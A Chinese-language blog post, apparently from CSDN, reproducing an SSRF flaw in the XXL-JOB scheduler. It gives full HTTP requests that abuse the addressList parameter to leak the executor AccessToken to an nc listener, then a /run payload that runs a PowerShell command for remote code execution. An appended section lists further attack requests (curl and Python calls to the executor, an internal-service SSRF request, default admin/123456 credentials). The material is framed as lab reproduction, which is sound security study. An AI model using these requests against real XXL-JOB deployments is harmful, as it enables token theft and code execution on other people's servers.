xxl-job ssrf漏洞复现

本文详细描述了XXL-JOB平台中的一个安全漏洞,攻击者可通过SSRF利用不验证的addressList参数进行AccessToken获取和远程代码执行(RCE)。作者提供了漏洞复现步骤和构造PoC的方法,同时强调了安全配置的重要性。

xxl-job ssrf漏洞复现

漏洞简介

XXL-JOB是基于java语言的分布式任务调度平台,该漏洞来自/trigger,直接向addressList指定的地址发送请求,不判断addressList参数是否为有效的执行器地址。它可以利用SSRF漏洞,攻击者获取XXL-JOB-ACCESS-TOKEN并调用任意执行器

漏洞复现

项目地址:https://github.com/xuxueli/xxl-job

搭建环境,配置JDBC与TOKEN

image-20240126102117589

image-20240126102149282

根据官方文档,需要将调度中心和执行器,设置了相同的AccessToken

image-20240126102310287

所以将执行器token也设为123

image-20240126102405241

启动项目进入登陆界面http://127.0.0.1:8080/xxl-job-admin/,默认密码admin/123456

image-20240126102606521

新建一个低权限测试账户test/123456

image-20240126102633145

登录低权限账户发现无法访问任务管理功能页面

image-20240126102845403

image-20240126102825960

构造poc

POST /xxl-job-admin/jobinfo/trigger HTTP/1.1
Host: 127.0.0.1:8080
Content-Length: 69
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: XXL_JOB_LOGIN_IDENTITY=7b226964223a322c22757365726e616d65223a2274657374222c2270617373776f7264223a226531306164633339343962613539616262653536653035376632306638383365222c22726f6c65223a302c227065726d697373696f6e223a22227d
Connection: close

id=1&executorParam=test&addressList=http%3A%2F%2F127.0.0.1%3A9090

开启一个nc监听端口9090,发送poc,查看泄露token

image-20240126103209960

RCE

构造payload

POST /run HTTP/1.1
Host: 127.0.0.1:9999
Content-Length: 69
XXL-JOB-ACCESS-TOKEN: 123
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close



{
        "jobId":1,                                  
        "executorHandler":"demoJobHandler",         
        "executorParams":"demoJobHandler",          
        "executorBlockStrategy":"COVER_EARLY",      
        "executorTimeout":0,                        
        "logId":1,                                  
        "logDateTime":1586629003729,                
        "glueType":"GLUE_POWERSHELL",                          
        "glueSource":"calc",                         
        "glueUpdatetime":1586629003727,             
        "broadcastIndex":0,                         
        "broadcastTotal":0                          
}

发送,即可发现计算机弹出

image-20240126110257270

### xxl-job 9999端口渗透测试复现方法 xxl-job 是一个分布式任务调度平台,其默认的 9999 端口通常用于 executor 的通信。在进行渗透测试时,需要重点关注以下几个方面:未授权访问、反序列化漏洞SSRF 漏洞等[^1]。 #### 1. 未授权访问漏洞 如果 xxl-job 的 executor 配置了开放的访问权限,攻击者可以通过直接访问 9999 端口来触发任务执行或获取敏感信息。可以通过以下步骤验证是否存在未授权访问漏洞- 使用 curl 或 Postman 工具向目标地址发送请求。 - 示例代码如下: ```bash curl http://target:9999/xxl-job-executor/run -d "jobId=1&executorHandler=testHandler&executorParams=&executorBlockStrategy=&executorTimeout=&logId=1&logDateTim=" ``` 如果返回结果中包含任务执行的日志,则说明存在未授权访问漏洞[^4]。 #### 2. Hessian2 反序列化漏洞 Hessian 是一种轻量级的二进制协议,常用于远程服务调用。xxl-job 在特定版本中使用了 Hessian2 协议,可能导致反序列化漏洞。利用该漏洞可以实现远程代码执行(RCE)。以下是漏洞利用的基本流程: - 构造恶意的 Hessian 请求包。 - 将恶意负载发送至目标系统的 9999 端口。 - 如果目标系统未正确校验输入数据,则会解析并执行恶意代码。 示例代码(仅用于学习目的): ```python import requests url = "http://target:9999/xxl-job-executor/run" data = { "jobId": "1", "executorHandler": "testHandler", "executorParams": "", "executorBlockStrategy": "", "executorTimeout": "", "logId": "1", "logDateTime": "" } response = requests.post(url, data=data) print(response.text) ``` #### 3. SSRF 漏洞 xxl-job 的调度中心可能存在 SSRF 漏洞,攻击者可通过构造恶意请求窃取内部服务的信息或进一步扩大攻击范围。例如,通过 `/joblog/logDetailCat` 接口发起 SSRF 请求[^3]。 示例代码(仅用于学习目的): ```bash POST /xxl-job-admin/joblog/logDetailCat HTTP/1.1 Host: target:8083 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Cookie: XXL_JOB_LOGIN_IDENTITY=your_token executorAddress=http%3A%2F%2Finternal-service%3A8080%2F&triggerTime=1675953600000&logId=1&fromLineNum=1 ``` #### 4. 弱口令登录后台 RCE 如果 xxl-job 的管理后台启用了弱口令(如默认用户名 `admin` 和密码 `123456`),攻击者可以通过登录后台并利用相关功能实现远程代码执行。建议在测试前尝试使用默认凭据登录,并检查是否可以上传恶意脚本或配置文件[^2]。 ### 注意事项 - 渗透测试必须在合法授权的情况下进行,未经授权的测试可能违反相关法律法规。 - 测试完成后应及时修复发现的安全问题,并通知相关责任人。
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值